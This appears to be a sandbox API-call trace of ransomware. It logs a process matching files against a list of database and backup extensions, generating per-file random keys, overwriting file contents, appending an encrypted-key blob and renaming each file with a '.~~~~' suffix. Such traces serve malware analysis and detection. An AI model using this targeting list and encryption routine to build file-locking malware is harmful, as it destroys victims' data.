	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0086.529] lstrlenW (lpString=".DTXS") returned 5
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0086.529] lstrlenW (lpString=".ckp") returned 4
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0086.529] lstrlenW (lpString=".dbt") returned 4
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0086.529] lstrlenW (lpString=".db") returned 3
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0086.529] lstrlenW (lpString=".TXT") returned 4
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0086.529] lstrlenW (lpString=".MDF") returned 4
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0086.530] lstrlenW (lpString=".bdb") returned 4
	[0086.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0086.530] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.530] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.531] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.531] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0086.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.531] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20652127078) returned 1
	[0086.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d622130, dwHighDateTime=0x1d60e1e)) 
	[0086.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9c10
	[0086.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c10 | out: hHeap=0x300000) returned 1
	[0086.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0086.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0086.532] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.532] GetLastError () returned 0x0
	[0086.532] GetLastError () returned 0x0
	[0086.532] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.532] GetLastError () returned 0x0
	[0086.533] GetLastError () returned 0x0
	[0086.612] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff594, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.612] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xa6c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0xa6c, lpOverlapped=0x0) returned 1
	[0086.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.628] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.628] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.628] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.628] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.629] CloseHandle (hObject=0x124) returned 1
	[0086.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8d78
	[0086.629] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.~~~~")) returned 1
	[0086.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8d78 | out: hHeap=0x300000) returned 1
	[0086.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.630] GetLastError () returned 0x0
	[0086.687] lstrlenW (lpString=".sqb") returned 4
	[0086.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0086.687] lstrlenW (lpString=".ost") returned 4
	[0086.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0086.687] lstrlenW (lpString=".txt") returned 4
	[0086.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0086.687] lstrlenW (lpString=".mdt") returned 4
	[0086.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0086.687] lstrlenW (lpString=".BDB") returned 4
	[0086.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0086.687] lstrlenW (lpString=".eql") returned 4
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0086.688] lstrlenW (lpString=".DBF") returned 4
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0086.688] lstrlenW (lpString=".EQL") returned 4
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0086.688] lstrlenW (lpString=".FDB") returned 4
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0086.688] lstrlenW (lpString=".EDB") returned 4
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0086.688] lstrlenW (lpString=".DACPAC") returned 7
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0086.688] lstrlenW (lpString=".VHD") returned 4
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0086.688] lstrlenW (lpString=".DBV") returned 4
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0086.688] lstrlenW (lpString=".dacpac") returned 7
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0086.688] lstrlenW (lpString=".sdf") returned 4
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0086.688] lstrlenW (lpString=".accdb") returned 6
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0086.688] lstrlenW (lpString=".DBX") returned 4
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0086.688] lstrlenW (lpString=".MDT") returned 4
	[0086.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0086.688] lstrlenW (lpString=".SQB") returned 4
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0086.689] lstrlenW (lpString=".vhd") returned 4
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0086.689] lstrlenW (lpString=".bac") returned 4
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0086.689] lstrlenW (lpString=".mdf") returned 4
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0086.689] lstrlenW (lpString=".BAK") returned 4
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0086.689] lstrlenW (lpString=".BAC") returned 4
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0086.689] lstrlenW (lpString=".dbs") returned 4
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0086.689] lstrlenW (lpString=".vhdx") returned 5
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0086.689] lstrlenW (lpString=".NDF") returned 4
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0086.689] lstrlenW (lpString=".dat") returned 4
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0086.689] lstrlenW (lpString=".DBS") returned 4
	[0086.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0086.690] lstrlenW (lpString=".CKP") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0086.690] lstrlenW (lpString=".edb") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0086.690] lstrlenW (lpString=".PST") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0086.690] lstrlenW (lpString=".dbf") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0086.690] lstrlenW (lpString=".SQL") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0086.690] lstrlenW (lpString=".pst") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0086.690] lstrlenW (lpString=".dbv") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0086.690] lstrlenW (lpString=".SDF") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0086.690] lstrlenW (lpString=".dtxs") returned 5
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0086.690] lstrlenW (lpString=".db3") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0086.690] lstrlenW (lpString=".OST") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0086.690] lstrlenW (lpString=".dbx") returned 4
	[0086.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0086.691] lstrlenW (lpString=".DB3") returned 4
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0086.691] lstrlenW (lpString=".DAT") returned 4
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0086.691] lstrlenW (lpString=".VHDX") returned 5
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0086.691] lstrlenW (lpString=".ndf") returned 4
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0086.691] lstrlenW (lpString=".DB") returned 3
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0086.691] lstrlenW (lpString=".sql") returned 4
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0086.691] lstrlenW (lpString=".MYD") returned 4
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0086.691] lstrlenW (lpString=".DBT") returned 4
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0086.691] lstrlenW (lpString=".ACCDB") returned 6
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0086.691] lstrlenW (lpString=".fdb") returned 4
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0086.691] lstrlenW (lpString=".bak") returned 4
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0086.691] lstrlenW (lpString=".myd") returned 4
	[0086.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0086.691] lstrlenW (lpString=".DTXS") returned 5
	[0086.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0086.692] lstrlenW (lpString=".ckp") returned 4
	[0086.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0086.692] lstrlenW (lpString=".dbt") returned 4
	[0086.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0086.692] lstrlenW (lpString=".db") returned 3
	[0086.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0086.692] lstrlenW (lpString=".TXT") returned 4
	[0086.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0086.692] lstrlenW (lpString=".MDF") returned 4
	[0086.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0086.692] lstrlenW (lpString=".bdb") returned 4
	[0086.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0086.692] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.693] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.694] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.694] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0086.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0086.694] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20668456848) returned 1
	[0086.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d79eef0, dwHighDateTime=0x1d60e1e)) 
	[0086.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830528
	[0086.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830528 | out: hHeap=0x300000) returned 1
	[0086.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6028
	[0086.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6028 | out: hHeap=0x300000) returned 1
	[0086.695] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.695] GetLastError () returned 0x0
	[0086.696] GetLastError () returned 0x0
	[0086.696] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.696] GetLastError () returned 0x0
	[0086.696] GetLastError () returned 0x0
	[0086.699] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff8a26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.699] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x75da, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x75da, lpOverlapped=0x0) returned 1
	[0086.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.700] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.700] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.700] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.700] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.700] CloseHandle (hObject=0x124) returned 1
	[0086.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b9110
